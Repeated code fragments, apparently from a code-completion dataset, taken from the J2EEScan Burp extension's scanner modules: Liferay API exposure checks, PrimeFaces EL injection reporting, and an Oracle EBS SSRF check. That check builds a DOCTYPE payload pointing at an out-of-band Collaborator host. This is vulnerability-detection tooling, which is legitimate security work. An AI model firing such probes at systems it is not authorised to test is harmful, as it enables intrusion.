// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/PrimeFacesELInjection.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
issues.add(new CustomScanIssue(
baseRequestResponse.getHttpService(),
jsfURIToTest,
new CustomHttpRequestResponse(jsfRequestHTTP, browserResponse, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.High,
Confidence.Certain));
}
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception " + ex);
}
}
}
/**
* Test on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test the issue
*
* Ex: http://www.example.com/myapp/manage/env
*/ | String context = getApplicationContext(url); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayAPI.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.io.PrintWriter;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; |
private final static List<String[]> API = Arrays.asList(
new String[]{ "JSON", "Liferay\'s default JSON web service", "https://help.liferay.com/hc/en-us/articles/360018151631-JSON-Web-Services <br />" +
"https://help.liferay.com/hc/en-us/articles/360017872472-Service-Security-Layers" },
new String[]{ "AXIS", "Liferay\'s default SOAP web service", "https://help.liferay.com/hc/en-us/articles/360017872492-SOAP-Web-Services <br />" +
"https://help.liferay.com/hc/en-us/articles/360017872472-Service-Security-Layers" },
new String[]{ "Liferay Tunnel", "Liferay tunnel servlet", "https://help.liferay.com/hc/en-us/articles/360017872472-Service-Security-Layers" },
new String[]{ "WebDAV", "WebDAV allows access to files in a document library on a remote server",
"https://help.liferay.com/hc/en-us/articles/360018172711-Desktop-Access-to-Documents-and-Media <br />" +
"https://help.liferay.com/hc/en-us/articles/360017872472-Service-Security-Layers" }
);
// List of host and port system already tested
private static LinkedHashSet<String> hs = new LinkedHashSet<String>();
IExtensionHelpers helpers;
PrintWriter stderr;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost(), protocol = url.getProtocol();
int port = url.getPort();
Boolean useHttps = protocol.equals("https");
// Check if Liferay has been found | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayAPI.java
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.io.PrintWriter;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
private final static List<String[]> API = Arrays.asList(
new String[]{ "JSON", "Liferay\'s default JSON web service", "https://help.liferay.com/hc/en-us/articles/360018151631-JSON-Web-Services <br />" +
"https://help.liferay.com/hc/en-us/articles/360017872472-Service-Security-Layers" },
new String[]{ "AXIS", "Liferay\'s default SOAP web service", "https://help.liferay.com/hc/en-us/articles/360017872492-SOAP-Web-Services <br />" +
"https://help.liferay.com/hc/en-us/articles/360017872472-Service-Security-Layers" },
new String[]{ "Liferay Tunnel", "Liferay tunnel servlet", "https://help.liferay.com/hc/en-us/articles/360017872472-Service-Security-Layers" },
new String[]{ "WebDAV", "WebDAV allows access to files in a document library on a remote server",
"https://help.liferay.com/hc/en-us/articles/360018172711-Desktop-Access-to-Documents-and-Media <br />" +
"https://help.liferay.com/hc/en-us/articles/360017872472-Service-Security-Layers" }
);
// List of host and port system already tested
private static LinkedHashSet<String> hs = new LinkedHashSet<String>();
IExtensionHelpers helpers;
PrintWriter stderr;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost(), protocol = url.getProtocol();
int port = url.getPort();
Boolean useHttps = protocol.equals("https");
// Check if Liferay has been found | if (!IssuesHandler.isvulnerabilityFound(callbacks, |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayAPI.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.io.PrintWriter;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; | helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost(), protocol = url.getProtocol();
int port = url.getPort();
Boolean useHttps = protocol.equals("https");
// Check if Liferay has been found
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return issues;
}
// Check if the APIs have already been found
for(String[] APIName : API)
if(IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay Hardening - API Exposed: " + APIName[0],
protocol,
host)){
return issues;
}
Iterator<Pattern> patternIterator = PATTERNS.iterator();
Iterator<String[]> APIIterator = API.iterator();
| // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayAPI.java
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.io.PrintWriter;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost(), protocol = url.getProtocol();
int port = url.getPort();
Boolean useHttps = protocol.equals("https");
// Check if Liferay has been found
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return issues;
}
// Check if the APIs have already been found
for(String[] APIName : API)
if(IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay Hardening - API Exposed: " + APIName[0],
protocol,
host)){
return issues;
}
Iterator<Pattern> patternIterator = PATTERNS.iterator();
Iterator<String[]> APIIterator = API.iterator();
| String contextList[] = { "", getApplicationContext(url) }; |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayAPI.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.io.PrintWriter;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; | Iterator<Pattern> patternIterator = PATTERNS.iterator();
Iterator<String[]> APIIterator = API.iterator();
String contextList[] = { "", getApplicationContext(url) };
for(String context : contextList){
String system = host + Integer.toString(port) + context;
if(!hs.add(system))
continue;
for(String path : PATHS){
String[] nameDetails = APIIterator.next();
try{
URL urlMod = new URL(protocol, host, port, context + path);
if(nameDetails[0].contains("JSON") || nameDetails[0].contains("AXIS")){
Pattern p = patternIterator.next();
byte[] request = helpers.buildHttpRequest(urlMod);
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
IResponseInfo respInfo = helpers.analyzeResponse(response);
if(respInfo.getStatusCode() == 200){
Matcher m = p.matcher(helpers.bytesToString(response));
if(m.matches()){ | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayAPI.java
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.io.PrintWriter;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
Iterator<Pattern> patternIterator = PATTERNS.iterator();
Iterator<String[]> APIIterator = API.iterator();
String contextList[] = { "", getApplicationContext(url) };
for(String context : contextList){
String system = host + Integer.toString(port) + context;
if(!hs.add(system))
continue;
for(String path : PATHS){
String[] nameDetails = APIIterator.next();
try{
URL urlMod = new URL(protocol, host, port, context + path);
if(nameDetails[0].contains("JSON") || nameDetails[0].contains("AXIS")){
Pattern p = patternIterator.next();
byte[] request = helpers.buildHttpRequest(urlMod);
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
IResponseInfo respInfo = helpers.analyzeResponse(response);
if(respInfo.getStatusCode() == 200){
Matcher m = p.matcher(helpers.bytesToString(response));
if(m.matches()){ | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/OracleEBSSSRFLCMServiceController.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
String oracleSSRFDoctypePayload = String.format("<!DOCTYPE root PUBLIC \"-//B/A/EN\" \"http://%s:80\">", currentCollaboratorPayload);
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
